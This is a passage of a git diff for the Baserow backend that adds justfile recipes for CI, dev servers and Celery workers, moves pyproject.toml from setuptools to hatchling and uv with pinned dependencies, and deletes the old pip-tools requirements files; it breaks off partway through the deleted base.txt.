BASEROW_OSS_ONLY=true timeout --preserve-status 10s \ + {{ uv_run }} gunicorn --workers=1 -b 0.0.0.0:8002 \ + -k uvicorn.workers.UvicornWorker baserow.config.asgi:application + +# ============================================================================= +# Translations +# ============================================================================= + +# Generate translation files +[group('7 - translations')] +make-translations: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + for pkg_dir in ./ ../premium/backend/ ../enterprise/backend/; do + echo "Processing $pkg_dir" + cd "$pkg_dir" + {{ uv_run }} django-admin makemessages -l en --ignore 'tests/*' || true + cd - + done + +# ============================================================================= +# CI Tasks +# ============================================================================= + +# Run CI Python tests with coverage +[group('8 - ci')] +ci-test-python: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + mkdir -p reports/ + cd "{{ justfile_directory() }}/.." + COVERAGE_FILE=backend/reports/.coverage.{{ pytest_split_group }} \ + {{ uv_run }} coverage run \ + --rcfile=backend/.coveragerc \ + --concurrency=multiprocessing \ + -m pytest -vv \ + -n auto \ + --durations-path=backend/.test_durations \ + --splits {{ pytest_splits }} \ + --group {{ pytest_split_group }} \ + --junitxml=backend/reports/report.xml \ + {{ pytest_extra_args }} {{ backend_tests_dirs_from_root }} + +# Generate CI coverage report +[group('8 - ci')] +ci-coverage-report: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + cd "{{ justfile_directory() }}/.." + cp backend/reports/.coverage.* . + export COVERAGE_RCFILE=backend/.coveragerc + {{ uv_run }} coverage combine + {{ uv_run }} coverage report + {{ uv_run }} coverage xml -o coverage.xml + +# Check Python startup (full version) +[group('8 - ci')] +ci-check-startup-python: _check-dev + #!/usr/bin/env bash + set -euxo pipefail + {{ _load_env }} + DJANGO_SETTINGS_MODULE={{ django_settings }} {{ uv_run }} django-admin check + DJANGO_SETTINGS_MODULE={{ django_settings }} timeout --preserve-status 10s \ + {{ uv_run }} gunicorn --workers=1 -b 0.0.0.0:8002 \ + -k uvicorn.workers.UvicornWorker baserow.config.asgi:application + +# Check Python startup (OSS only) +[group('8 - ci')] +ci-check-startup-python-oss-only: _check-dev + #!/usr/bin/env bash + set -euxo pipefail + {{ _load_env }} + BASEROW_OSS_ONLY=true DJANGO_SETTINGS_MODULE={{ django_settings }} {{ uv_run }} django-admin check + BASEROW_OSS_ONLY=true DJANGO_SETTINGS_MODULE={{ django_settings }} timeout --preserve-status 10s \ + {{ uv_run }} gunicorn --workers=1 -b 0.0.0.0:8002 \ + -k uvicorn.workers.UvicornWorker baserow.config.asgi:application + +# ============================================================================= +# Development +# ============================================================================= + +# Server settings +server_bind := env("SERVER_BIND", "0.0.0.0:8000") +gunicorn_workers := env("GUNICORN_WORKERS", "5") + +# Run development server (Django) +[group('2 - development')] +run-dev-server *ARGS: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} baserow runserver {{ ARGS }} 2>&1 | tee {{ log_file }} + +# Run production ASGI server (gunicorn + uvicorn) +[group('5 - production')] +run-asgi *ARGS: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} gunicorn -w {{ gunicorn_workers }} -b {{ server_bind }} -k uvicorn.workers.UvicornWorker baserow.config.asgi:application {{ ARGS }} + +# Run production WSGI server (gunicorn) +[group('5 - production')] +run-wsgi *ARGS: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} gunicorn -w {{ gunicorn_workers }} -b {{ server_bind }} baserow.config.wsgi:application {{ ARGS }} + +# Run production Celery worker (main queues) +[group('5 - production')] +run-celery: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} celery -A baserow worker -Q celery,automation_workflow -l INFO + +# Run production Celery export worker +[group('5 - production')] +run-celery-export: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} celery -A baserow worker -Q export -l INFO + +# Run production Celery beat scheduler +[group('5 - production')] +run-celery-beat: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} celery -A baserow beat -l INFO -S redbeat.RedBeatScheduler + +# Celery settings +celery_log_level := env("CELERY_LOG_LEVEL", "INFO") # INFO default, override with CELERY_LOG_LEVEL=DEBUG +# Use 'solo' pool on macOS to avoid fork() issues causing SIGSEGV +# Options: solo (single-threaded), threads, prefork (default, problematic on macOS) +celery_pool := env("CELERY_POOL", "solo") + +# Run all Celery workers and beat together for development +[group('2 - development')] +run-dev-celery: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + + LOG_FILE="{{ celery_log_file }}" + + # ANSI color codes + COLOR_WORKER=$'\033[38;5;39m' # Blue for worker + COLOR_EXPORT=$'\033[38;5;208m' # Orange for export + COLOR_BEAT=$'\033[38;5;129m' # Purple for beat + COLOR_RESET=$'\033[0m' + + # Function to prefix output with colored process name and tee to log file + prefix_output() { + local prefix="$1" + local color="$2" + while IFS= read -r line; do + # Colored output to terminal, plain prefix to log file + echo "${color}[$prefix]${COLOR_RESET} $line" + echo "[$prefix] $line" >> "$LOG_FILE" + done + } + + cleanup() { + echo "" + echo "Stopping all Celery processes..." + kill $WORKER_PID $EXPORT_PID $BEAT_PID 2>/dev/null || true + wait $WORKER_PID $EXPORT_PID $BEAT_PID 2>/dev/null || true + echo "All Celery processes stopped." + } + trap cleanup EXIT INT TERM + + # Clear log file on start + > "$LOG_FILE" + + echo "Starting Celery worker (celery,automation_workflow queues)..." + {{ uv_run }} celery -A baserow worker -Q celery,automation_workflow -n default-worker@%h -l {{ celery_log_level }} --pool {{ celery_pool }} 2>&1 | prefix_output "WORKER" "$COLOR_WORKER" & + WORKER_PID=$! + + echo "Starting Celery export worker (export queue)..." + {{ uv_run }} celery -A baserow worker -Q export -n export-worker@%h -l {{ celery_log_level }} --pool {{ celery_pool }} 2>&1 | prefix_output "EXPORT" "$COLOR_EXPORT" & + EXPORT_PID=$! + + echo "Starting Celery beat with redbeat scheduler..." + {{ uv_run }} celery -A baserow beat -l {{ celery_log_level }} -S redbeat.RedBeatScheduler 2>&1 | prefix_output "BEAT" "$COLOR_BEAT" & + BEAT_PID=$! + + echo "" + echo "All Celery processes started (pool: {{ celery_pool }}). Press Ctrl+C to stop." + echo "Logs: $LOG_FILE" + echo "" + + wait + +# Run any command in the venv with `uv run *args` +[group('2 - development')] +run *args: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} {{ args }} + +alias r := run + +# Run Django manage.py commands (e.g., just b m createsuperuser) +[group('2 - development')] +manage *args: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} baserow {{ args }} + +# Shortcut for manage +alias m := manage + +# Run database migrations +[group('2 - development')] +migrate *args: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} baserow migrate {{ args }} + +alias mg := migrate + +[group('2 - development')] +makemigrations *args: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} baserow makemigrations {{ args }} + +alias mk := makemigrations + +# Open Django shell with shell_plus and SQL logging. Pass --print-sql to enable SQL query logging. +[group('2 - development')] +shell_plus: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} baserow shell_plus + +alias sp := shell_plus + +# Show current environment info +[group('2 - development')] +env-info: + #!/usr/bin/env bash + set -euo pipefail + + echo "=== Justfile Settings ===" + echo "Django settings: {{ django_settings }}" + echo "Venv directory: {{ venv_dir }}" + echo "" + + ENV_FILE="../.env.local" + if [ -f "$ENV_FILE" ]; then + echo "=== Environment Variables (from .env.local) ===" + # Parse .env.local: skip comments, empty lines, and multi-line values + grep -v '^#' "$ENV_FILE" | grep -v '^$' | grep '=' | while IFS= read -r line; do + # Skip lines that look like continuations (start with whitespace) + if [[ ! "$line" =~ ^[[:space:]] ]]; then + # Extract variable name and value (handle values with =) + var_name="${line%%=*}" + var_value="${line#*=}" + # Truncate long values + if [ ${#var_value} -gt 60 ]; then + var_value="${var_value:0:57}..." + fi + printf "%-35s %s\n" "$var_name:" "$var_value" + fi + done + echo "" + echo "Source: .env.local" + else + echo "No .env.local found. Run 'just init' to create one." + echo "" + echo "Available env files:" + echo " .env.local - Local dev (auto-loaded by just commands)" + echo " .env.docker-dev - Docker dev (used by just dc-dev)" + echo " .env - Production Docker" + fi + + +# ============================================================================= +# Internal helpers +# ============================================================================= + +# Check if dev environment is set up, install if not +_check-dev: + #!/usr/bin/env bash + if [ ! -f "{{ venv_dir }}/bin/python" ] || [ ! -f "uv.lock" ]; then + echo "Dev environment not found, running init..." + just init + fi diff --git a/backend/pyproject.toml b/backend/pyproject.toml index 50e338c0ea..91baef0fc7 100644 --- a/backend/pyproject.toml +++ b/backend/pyproject.toml @@ -1,21 +1,110 @@ [build-system] -requires = ["setuptools>=61.0"] -build-backend = "setuptools.build_meta" +requires = ["hatchling"] +build-backend = "hatchling.build" [project] name = "baserow" authors = [{ name = "Bram Wiepjes (Baserow)", email = "bram@baserow.io" }] -#summary = "Baserow: open source no-code database backend." description = """Baserow is an open source no-code database tool and Airtable \ alternative. Easily create a relational database without any \ technical expertise. Build a table and define custom fields \ like text, number, file and many more.""" -# mixed license actually -license = { file = "LICENSE" } -requires-python = ">=3.11" -dynamic = ["version", "dependencies"] +license = { file = "../LICENSE" } +requires-python = "==3.11.*" +dynamic = ["version"] classifiers = [] +dependencies = [ + "django==5.0.14", + "django-cors-headers==4.3.1", + "djangorestframework==3.15.1", + "djangorestframework-simplejwt==5.3.1", + "psycopg2-binary==2.9.10", + "Faker==25.0.1", + "Twisted==24.11.0", + "gunicorn==23.0.0", + "uvicorn[standard]==0.34.2", + "websockets==12.0", + "requests==2.32.5", + "itsdangerous==2.2.0", + "Pillow==10.4.0", + "drf-spectacular==0.28.0", + "asgiref==3.8.1", + "channels[daphne]==4.0.0", + "channels-redis==4.1.0", + "celery[redis]==5.5.3", + "django-redis==5.4.0", + "django-celery-email==3.0.0", + "advocate==1.0.0", + "zipp==3.19.1", + "unicodecsv==0.14.1", + "django-celery-beat==2.6.0", + "celery-redbeat==2.2.0", + "flower==2.0.1", + "service-identity==24.1.0", + "regex==2025.10.23", + "antlr4-python3-runtime==4.9.3", + "tqdm==4.66.4", + "boto3==1.40.40", + "django-storages==1.14.3", + "django-storages[azure]==1.14.3", + "django-storages[google]==1.14.3", + "django-health-check==3.18.2", + "psutil==5.9.8", + "dj-database-url==2.1.0", + "redis==5.2.1", + "pgvector==0.4.1", + "pysaml2==7.5.0", + "validators==0.28.1", + "requests-oauthlib==2.0.0", + "opentelemetry-api==1.37.0", + "opentelemetry-exporter-otlp-proto-http==1.37.0", + "opentelemetry-instrumentation==0.58b0", + "opentelemetry-instrumentation-django==0.58b0", + "opentelemetry-instrumentation-aiohttp-client==0.58b0", + "opentelemetry-instrumentation-asgi==0.58b0", + "opentelemetry-instrumentation-botocore==0.58b0", + "opentelemetry-instrumentation-celery==0.58b0", + "opentelemetry-instrumentation-dbapi==0.58b0", + "opentelemetry-instrumentation-grpc==0.58b0", + "opentelemetry-instrumentation-logging==0.58b0", + "opentelemetry-instrumentation-redis==0.58b0", + "opentelemetry-instrumentation-psycopg2==0.58b0", + "opentelemetry-instrumentation-psycopg==0.58b0", + "opentelemetry-instrumentation-requests==0.58b0", + "opentelemetry-instrumentation-wsgi==0.58b0", + "opentelemetry-proto==1.37.0", + "opentelemetry-sdk==1.37.0", + "opentelemetry-semantic-conventions==0.58b0", + "opentelemetry-util-http==0.58b0", + "Brotli==1.1.0", + "loguru==0.7.2", + "django-cachalot==2.6.2", + "celery-singleton==0.3.1", + "posthog==7.0.1", + "prosemirror @ https://github.com/fellowapp/prosemirror-py/archive/refs/tags/v0.3.5.zip", + "rich==13.7.1", + "tzdata==2025.2", + "sentry-sdk==2.29.1", + "typing_extensions>=4.14.1", + "ollama==0.1.9", + "langchain==0.3.27", + "langchain-openai==0.3.35", + "openai==2.2.0", + "anthropic==0.75.0", + "mistralai==1.1.0", + "icalendar==5.0.12", + "jira2markdown==0.3.7", + "openpyxl==3.1.5", + "zipstream-ng==1.8.0", + "mcp==1.9.4", + "django-cte==1.3.3", + "genson==1.3.0", + "pyotp==2.9.0", + "qrcode==8.2", + "udspy==0.1.8", +] + [project.urls] Homepage = "https://baserow.io" "Bug Tracker" = "https://github.com/baserow/baserow/issues/" @@ -23,10 +112,66 @@ Documentation = "https://baserow.io/user-docs" Support = "https://community.baserow.io/" Changelog = "https://github.com/baserow/baserow/blob/develop/changelog.md" - [project.scripts] baserow = "baserow.manage:main" +[dependency-groups] +dev = [ + "flake8==7.0.0", + "pytest==8.2.0", + "pytest-django==4.8.0", + "pytest-env==1.1.3", + "pytest-asyncio==0.23.6", + "pytest-ordering==0.6", + "pytest-mock==3.14.0", + "pytest-icdiff==0.9", + "freezegun==1.5.0", + "responses==0.25.0", + "watchdog==4.0.0", + "argh==0.31.2", + "black==23.3.0", + "pyinstrument==4.6.2", + "pyfakefs==5.4.1", + "pytest-xdist==3.6.1", + "django-silk==5.1.0", + "django-extensions==3.2.3", + "snoop==0.4.3", + "openapi-spec-validator==0.7.2", + "pytest-html==4.1.1", + "coverage==7.5.1", + "pytest-split==0.8.2", + "bandit==1.7.8", + "autopep8==2.1.0", + "pytest-unordered==0.6.0", + "debugpy==1.8.1", + "backports.cached-property==1.0.2", + "httpretty==1.1.4", + "graphviz==0.20.3", + "pytest-cov==5.0.0", + "django-stubs==1.16.0", + "django-stubs-ext==0.8.0", + "mypy==1.10.0", + "mypy-extensions==1.0.0", + "isort==5.13.2", + "ipython", + "fakeredis[lua]==2.23.2", + "pytest-retry==1.7.0", + "pytest-testmon==2.1.3", + "ipdb", + "build", + "rust-just>=1.43.1", +] + +[tool.hatch.metadata] +allow-direct-references = true + +[tool.hatch.version] +path = "src/baserow/version.py" +pattern = "VERSION = \"(?P[^\"]+)\"" + +[tool.hatch.build.targets.wheel] +packages = ["src/baserow"] + [tool.black] exclude = """ /( @@ -34,26 +179,25 @@ exclude = """ | generated )/ """ -# ensure consistent formatting for black -# see https://black.readthedocs.io/en/stable/usage_and_configuration/the_basics.html#required-version -# see https://black.readthedocs.io/en/stable/usage_and_configuration/the_basics.html#target-version target-version = ["py311"] required-version = "23" -[tool.setuptools] -include-package-data = true -# https://setuptools.pypa.io/en/latest/userguide/pyproject_config.html -platforms = ["Linux"] +[tool.isort] +profile = "black" +skip = ["migrations", "generated"] -#[tool.setuptools.package-data] -#baserow.data.templates = ["*"] +[tool.uv] +package = true +environments = ["sys_platform == 'linux'", "sys_platform == 'darwin'"] -[tool.setuptools.packages.find] -namespaces = true -where = ["src/"] -include = ["baserow", "baserow.*"] +[tool.uv.workspace] +members = ["../premium/backend", "../enterprise/backend"] -[tool.setuptools.dynamic] -# version always from the code -version = { attr = "baserow.version.VERSION" } -dependencies = { file = ["deps/base.txt"] } +[tool.pytest.ini_options] +DJANGO_SETTINGS_MODULE = "baserow.config.settings.test" +python_files = ["test_*.py", "*_test.py"] +pythonpath = [ + "tests", + "../premium/backend/tests", + "../enterprise/backend/tests", +] diff --git a/backend/requirements/README.md b/backend/requirements/README.md deleted file mode 100644 index 5b36088e12..0000000000 --- a/backend/requirements/README.md +++ /dev/null @@ -1,48 +0,0 @@ -# Readme - -We use [pip-tools](https://github.com/jazzband/pip-tools) to manage our pip requirement -files. - -## Base Requirements -`base.in` contains our non-dev requirements for our backend python environment and -`base.txt` is the corresponding pip requirements file generated by `pip-tools`: -``` -pip-compile --output-file=base.txt base.in -``` -We install the `base.txt` requirements into the [`baserow/backend`](../Dockerfile) -docker image. You can launch an environment using these images by running -`./dev.sh local restart --build`. - -## Dev Requirements -`dev.in` contains our extra dev requirements on-top of `base.in`. -`dev.txt` is the corresponding pip requirements file generated by `pip-tools`: -``` -pip-compile --output-file=dev.txt dev.in -``` -We install the `dev.txt` requirements into the [`baserow/backend`](../Dockerfile) -docker image when built using the dev target (`docker build ... --target dev`). This -dev backend image is the one used when running `./dev.sh restart --build` etc. - -## Common Operations - -### Add a new base dependency -1. Add a line to `base.in` containing your new dependency -2. In the `backend lint` tab opened by running `./dev.sh --build`, or an active virtual - environment with `pip-tools` installed. -3. Ensure you are using python 3.9 if not using `./dev.sh --build` -4. `cd requirements` -5. Run `pip-compile --output-file=base.txt base.in`, review the changes to base.txt, - commit and push them to your MR. - -### Add a new dev dependency -1. Add a line to `dev.in` containing your new dependency -2. In the `backend lint` tab opened by running `./dev.sh --build`, or an active virtual - environment with `pip-tools` installed. -3. Ensure you are using python 3.9 if not using `./dev.sh --build` -4. `cd requirements` -4. Run `pip-compile --output-file=dev.txt dev.in`, review the changes to dev.txt, - commit and push them to your MR. - -### Upgrade an existing dependency -1. Change the version in the corresponding `.in` file. -2. Follow from step 2 above depending on which `.in` file you edited. diff --git a/backend/requirements/base.in b/backend/requirements/base.in deleted file mode 100644 index f4d8666ab5..0000000000 --- a/backend/requirements/base.in +++ /dev/null @@ -1,91 +0,0 @@ -django==5.0.14 -django-cors-headers==4.3.1 -djangorestframework==3.15.1 -djangorestframework-simplejwt==5.3.1 -psycopg2==2.9.10 -Faker==25.0.1 -Twisted==24.11.0 -gunicorn==23.0.0 -uvicorn[standard]==0.34.2 -websockets==12.0 -requests==2.32.5 -itsdangerous==2.2.0 -Pillow==10.3.0 -drf-spectacular==0.28.0 -asgiref==3.8.1 -channels[daphne]==4.0.0 -channels-redis==4.1.0 -celery[redis]==5.5.3 -django-redis==5.4.0 -django-celery-email==3.0.0 -advocate==1.0.0 -zipp==3.19.1 -unicodecsv==0.14.1 -django-celery-beat==2.6.0 -celery-redbeat==2.2.0 -flower==2.0.1 -service-identity==24.1.0 -regex==2025.10.23 -antlr4-python3-runtime==4.9.3 -tqdm==4.66.4 -boto3==1.40.40 -django-storages==1.14.3 -django-storages[azure]==1.14.3 -django-storages[google]==1.14.3 -django-health-check==3.18.2 -psutil==5.9.8 -dj-database-url==2.1.0 -redis==5.2.1 -pgvector==0.4.1 -pysaml2==7.5.0 -validators==0.28.1 -requests-oauthlib==2.0.0 -opentelemetry-api==1.37.0 -opentelemetry-exporter-otlp-proto-http==1.37.0 -opentelemetry-instrumentation==0.58b0 -opentelemetry-instrumentation-django==0.58b0 -opentelemetry-instrumentation-aiohttp-client==0.58b0 -opentelemetry-instrumentation-asgi==0.58b0 -opentelemetry-instrumentation-botocore==0.58b0 -opentelemetry-instrumentation-celery==0.58b0 -opentelemetry-instrumentation-dbapi==0.58b0 -opentelemetry-instrumentation-grpc==0.58b0 -opentelemetry-instrumentation-logging==0.58b0 -opentelemetry-instrumentation-redis==0.58b0 -opentelemetry-instrumentation-psycopg2==0.58b0 -opentelemetry-instrumentation-psycopg==0.58b0 -opentelemetry-instrumentation-requests==0.58b0 -opentelemetry-instrumentation-wsgi==0.58b0 -opentelemetry-proto==1.37.0 -opentelemetry-sdk==1.37.0 -opentelemetry-semantic-conventions==0.58b0 -opentelemetry-util-http==0.58b0 -Brotli==1.1.0 -loguru==0.7.2 -django-cachalot==2.6.2 -celery-singleton==0.3.1 -posthog==7.0.1 -https://github.com/fellowapp/prosemirror-py/archive/refs/tags/v0.3.5.zip -rich==13.7.1 -tzdata==2025.2 -sentry-sdk==2.29.1 -typing_extensions==4.11.0 -ollama==0.1.9 -langchain==0.3.27 -langchain-openai==0.3.35 -openai==2.2.0 -anthropic==0.37.1 -mistralai==1.1.0 -icalendar==5.0.12 -jira2markdown==0.3.7 -openpyxl==3.1.5 -zipstream-ng==1.8.0 -mcp==1.9.4 -django-cte==1.3.3 -tornado==6.5.0 # Pinned to address vulnerability. -certifi==2025.4.26 # Pinned to address vulnerability. -httpcore==1.0.9 # Pinned to address vulnerability. -genson==1.3.0 -pyotp==2.9.0 -qrcode==8.2 -udspy==0.1.8 diff --git a/backend/requirements/base.txt b/backend/requirements/base.txt deleted file mode 100644 index 2b0e4ac2a3..0000000000 --- a/backend/requirements/base.txt +++ /dev/null @@ -1,736 +0,0 @@ -# -# This file is autogenerated by pip-compile with Python 3.11 -# by the following command: -# -# pip-compile --output-file=base.txt base.in -# -advocate==1.0.0 - # via -r base.in -amqp==5.3.1 - # via kombu -annotated-types==0.7.0 - # via pydantic -anthropic==0.37.1 - # via -r base.in -antlr4-python3-runtime==4.9.3 - # via -r base.in -anyio==4.8.0 - # via - # anthropic - # httpx - # mcp - # openai - # sse-starlette - # starlette - # watchfiles -asgiref==3.8.1 - # via - # -r base.in - # channels - # channels-redis - # daphne - # django - # django-cors-headers - # opentelemetry-instrumentation-asgi -async-timeout==5.0.1 - # via redis -attrs==24.3.0 - # via - # jsonschema - # referencing - # service-identity - # twisted -autobahn==24.4.2 - # via daphne -automat==24.8.1 - # via twisted -azure-core==1.32.0 - # via - # azure-storage-blob - # django-storages -azure-storage-blob==12.24.0 - # via django-storages -backoff==2.2.1 - # via posthog -billiard==4.2.1 - # via celery -boto3==1.40.40 - # via -r base.in -botocore==1.40.40 - # via - # boto3 - # s3transfer -brotli==1.1.0 - # via -r base.in -cachetools==5.5.0 - # via google-auth -celery[redis]==5.5.3 - # via - # -r base.in - # celery-redbeat - # celery-singleton - # django-celery-beat - # django-celery-email - # flower -celery-redbeat==2.2.0 - # via -r base.in -celery-singleton==0.3.1 - # via -r base.in -certifi==2025.4.26 - # via - # -r base.in - # httpcore - # httpx - # requests - # sentry-sdk -cffi==1.17.1 - # via cryptography -channels[daphne]==4.0.0 - # via - # -r base.in - # channels-redis -channels-redis==4.1.0 - # via -r base.in -charset-normalizer==3.4.1 - # via requests -click==8.1.8 - # via - # celery - # click-didyoumean - # click-plugins - # click-repl - # uvicorn -click-didyoumean==0.3.1 - # via celery -click-plugins==1.1.1 - # via celery -click-repl==0.3.0 - # via celery -constantly==23.10.4 - # via twisted -cron-descriptor==1.4.5 - # via django-celery-beat -cryptography==44.0.0 - # via - # autobahn - # azure-storage-blob - # pyopenssl - # pysaml2 - # service-identity -daphne==4.1.2 - # via channels -defusedxml==0.7.1 - # via pysaml2 -distro==1.9.0 - # via - # anthropic - # openai - # posthog -dj-database-url==2.1.0 - # via -r base.in -django==5.0.14 - # via - # -r base.in - # channels - # dj-database-url - # django-appconf - # django-cachalot - # django-celery-beat - # django-celery-email - # django-cors-headers - # django-health-check - # django-redis - # django-storages - # django-timezone-field - # djangorestframework - # djangorestframework-simplejwt - # drf-spectacular -django-appconf==1.0.6 - # via django-celery-email -django-cachalot==2.6.2 - # via -r base.in -django-celery-beat==2.6.0 - # via -r base.in -django-celery-email==3.0.0 - # via -r base.in -django-cors-headers==4.3.1 - # via -r base.in -django-cte==1.3.3 - # via -r base.in -django-health-check==3.18.2 - # via -r base.in -django-redis==5.4.0 - # via -r base.in -django-storages[azure,google]==1.14.3 - # via -r base.in -django-timezone-field==7.0 - # via django-celery-beat -djangorestframework==3.15.1 - # via - # -r base.in - # djangorestframework-simplejwt - # drf-spectacular -djangorestframework-simplejwt==5.3.1 - # via -r base.in -drf-spectacular==0.28.0 - # via -r base.in -elementpath==4.7.0 - # via xmlschema -et-xmlfile==2.0.0 - # via openpyxl -eval-type-backport==0.2.2 - # via mistralai -faker==25.0.1 - # via -r base.in -filelock==3.16.1 - # via huggingface-hub -flower==2.0.1 - # via -r base.in -fsspec==2024.12.0 - # via huggingface-hub -genson==1.3.0 - # via -r base.in -google-api-core==2.24.0 - # via - # google-cloud-core - # google-cloud-storage -google-auth==2.37.0 - # via - # google-api-core - # google-cloud-core - # google-cloud-storage -google-cloud-core==2.4.1 - # via google-cloud-storage -google-cloud-storage==2.19.0 - # via django-storages -google-crc32c==1.6.0 - # via - # google-cloud-storage - # google-resumable-media -google-resumable-media==2.7.2 - # via google-cloud-storage -googleapis-common-protos==1.66.0 - # via - # google-api-core - # opentelemetry-exporter-otlp-proto-http -greenlet==3.2.4 - # via sqlalchemy -gunicorn==23.0.0 - # via -r base.in -h11==0.16.0 - # via - # httpcore - # uvicorn -httpcore==1.0.9 - # via - # -r base.in - # httpx -httptools==0.6.4 - # via uvicorn -httpx==0.27.2 - # via - # anthropic - # langsmith - # mcp - # mistralai - # ollama - # openai -httpx-sse==0.4.0 - # via mcp -huggingface-hub==0.27.1 - # via tokenizers -humanize==4.11.0 - # via flower -hyperlink==21.0.0 - # via - # autobahn - # twisted -icalendar==5.0.12 - # via -r base.in -idna==3.10 - # via - # anyio - # httpx - # hyperlink - # requests - # twisted -importlib-metadata==8.4.0 - # via opentelemetry-api -incremental==24.7.2 - # via twisted -inflection==0.5.1 - # via drf-spectacular -isodate==0.7.2 - # via azure-storage-blob -itsdangerous==2.2.0 - # via -r base.in -jira2markdown==0.3.7 - # via -r base.in -jiter==0.11.1 - # via - # anthropic - # openai - # udspy -jmespath==1.0.1 - # via - # boto3 - # botocore -jsonpatch==1.33 - # via langchain-core -jsonpath-python==1.0.6 - # via mistralai -jsonpointer==3.0.0 - # via jsonpatch -jsonschema==4.25.0 - # via drf-spectacular -jsonschema-specifications==2025.4.1 - # via jsonschema -kombu[redis]==5.5.4 - # via celery -langchain==0.3.27 - # via -r base.in -langchain-core==0.3.78 - # via - # langchain - # langchain-openai - # langchain-text-splitters -langchain-openai==0.3.35 - # via -r base.in -langchain-text-splitters==0.3.9 - # via langchain -langsmith==0.4.10 - # via - # langchain - # langchain-core -loguru==0.7.2 - # via -r base.in -markdown-it-py==3.0.0 - # via rich -mcp==1.9.4 - # via -r base.in -mdurl==0.1.2 - # via markdown-it-py -mistralai==1.1.0 - # via -r base.in -msgpack==1.1.0 - # via channels-redis -mypy-extensions==1.0.0 - # via typing-inspect -ndg-httpsclient==0.5.1 - # via advocate -netifaces==0.11.0 - # via advocate -numpy==2.3.3 - # via pgvector -oauthlib==3.2.2 - # via requests-oauthlib -ollama==0.1.9 - # via -r base.in -openai==2.2.0 - # via - # -r base.in - # langchain-openai - # udspy -openpyxl==3.1.5 - # via -r base.in -opentelemetry-api==1.37.0 - # via - # -r base.in - # opentelemetry-exporter-otlp-proto-http - # opentelemetry-instrumentation - # opentelemetry-instrumentation-aiohttp-client - # opentelemetry-instrumentation-asgi - # opentelemetry-instrumentation-botocore - # opentelemetry-instrumentation-celery - # opentelemetry-instrumentation-dbapi - # opentelemetry-instrumentation-django - # opentelemetry-instrumentation-grpc - # opentelemetry-instrumentation-logging - # opentelemetry-instrumentation-psycopg - # opentelemetry-instrumentation-psycopg2 - # opentelemetry-instrumentation-redis - # opentelemetry-instrumentation-requests - # opentelemetry-instrumentation-wsgi - # opentelemetry-propagator-aws-xray - # opentelemetry-sdk - # opentelemetry-semantic-conventions -opentelemetry-exporter-otlp-proto-common==1.37.0 - # via opentelemetry-exporter-otlp-proto-http -opentelemetry-exporter-otlp-proto-http==1.37.0 - # via -r base.in -opentelemetry-instrumentation==0.58b0 - # via - # -r base.in - # opentelemetry-instrumentation-aiohttp-client - # opentelemetry-instrumentation-asgi - # opentelemetry-instrumentation-botocore - # opentelemetry-instrumentation-celery - # opentelemetry-instrumentation-dbapi - # opentelemetry-instrumentation-django - # opentelemetry-instrumentation-grpc - # opentelemetry-instrumentation-logging - # opentelemetry-instrumentation-psycopg - # opentelemetry-instrumentation-psycopg2 - # opentelemetry-instrumentation-redis - # opentelemetry-instrumentation-requests - # opentelemetry-instrumentation-wsgi -opentelemetry-instrumentation-aiohttp-client==0.58b0 - # via -r base.in -opentelemetry-instrumentation-asgi==0.58b0 - # via -r base.in -opentelemetry-instrumentation-botocore==0.58b0 - # via -r base.in -opentelemetry-instrumentation-celery==0.58b0 - # via -r base.in -opentelemetry-instrumentation-dbapi==0.58b0 - # via - # -r base.in - # opentelemetry-instrumentation-psycopg - # opentelemetry-instrumentation-psycopg2 -opentelemetry-instrumentation-django==0.58b0 - # via -r base.in -opentelemetry-instrumentation-grpc==0.58b0 - # via -r base.in -opentelemetry-instrumentation-logging==0.58b0 - # via -r base.in -opentelemetry-instrumentation-psycopg==0.58b0 - # via -r base.in -opentelemetry-instrumentation-psycopg2==0.58b0 - # via -r base.in -opentelemetry-instrumentation-redis==0.58b0 - # via -r base.in -opentelemetry-instrumentation-requests==0.58b0 - # via -r base.in -opentelemetry-instrumentation-wsgi==0.58b0 - # via - # -r base.in - # opentelemetry-instrumentation-django -opentelemetry-propagator-aws-xray==1.0.2 - # via opentelemetry-instrumentation-botocore -opentelemetry-proto==1.37.0 - # via - # -r base.in - # opentelemetry-exporter-otlp-proto-common - # opentelemetry-exporter-otlp-proto-http -opentelemetry-sdk==1.37.0 - # via - # -r base.in - # opentelemetry-exporter-otlp-proto-http -opentelemetry-semantic-conventions==0.58b0 - # via - # -r base.in - # opentelemetry-instrumentation - # opentelemetry-instrumentation-aiohttp-client - # opentelemetry-instrumentation-asgi - # opentelemetry-instrumentation-botocore - # opentelemetry-instrumentation-celery - # opentelemetry-instrumentation-dbapi - # opentelemetry-instrumentation-django - # opentelemetry-instrumentation-grpc - # opentelemetry-instrumentation-redis - # opentelemetry-instrumentation-requests - # opentelemetry-instrumentation-wsgi - # opentelemetry-sdk -opentelemetry-util-http==0.58b0 - # via - # -r base.in - # opentelemetry-instrumentation-aiohttp-client - # opentelemetry-instrumentation-asgi - # opentelemetry-instrumentation-django - # opentelemetry-instrumentation-requests - # opentelemetry-instrumentation-wsgi -orjson==3.10.13 - # via langsmith -packaging==23.2 - # via - # gunicorn - # huggingface-hub - # kombu - # langchain-core - # langsmith - # opentelemetry-instrumentation -pgvector==0.4.1 - # via -r base.in -pillow==10.3.0 - # via -r base.in -posthog==7.0.1 - # via -r base.in -prometheus-client==0.21.1 - # via flower -prompt-toolkit==3.0.48 - # via click-repl -prosemirror @ 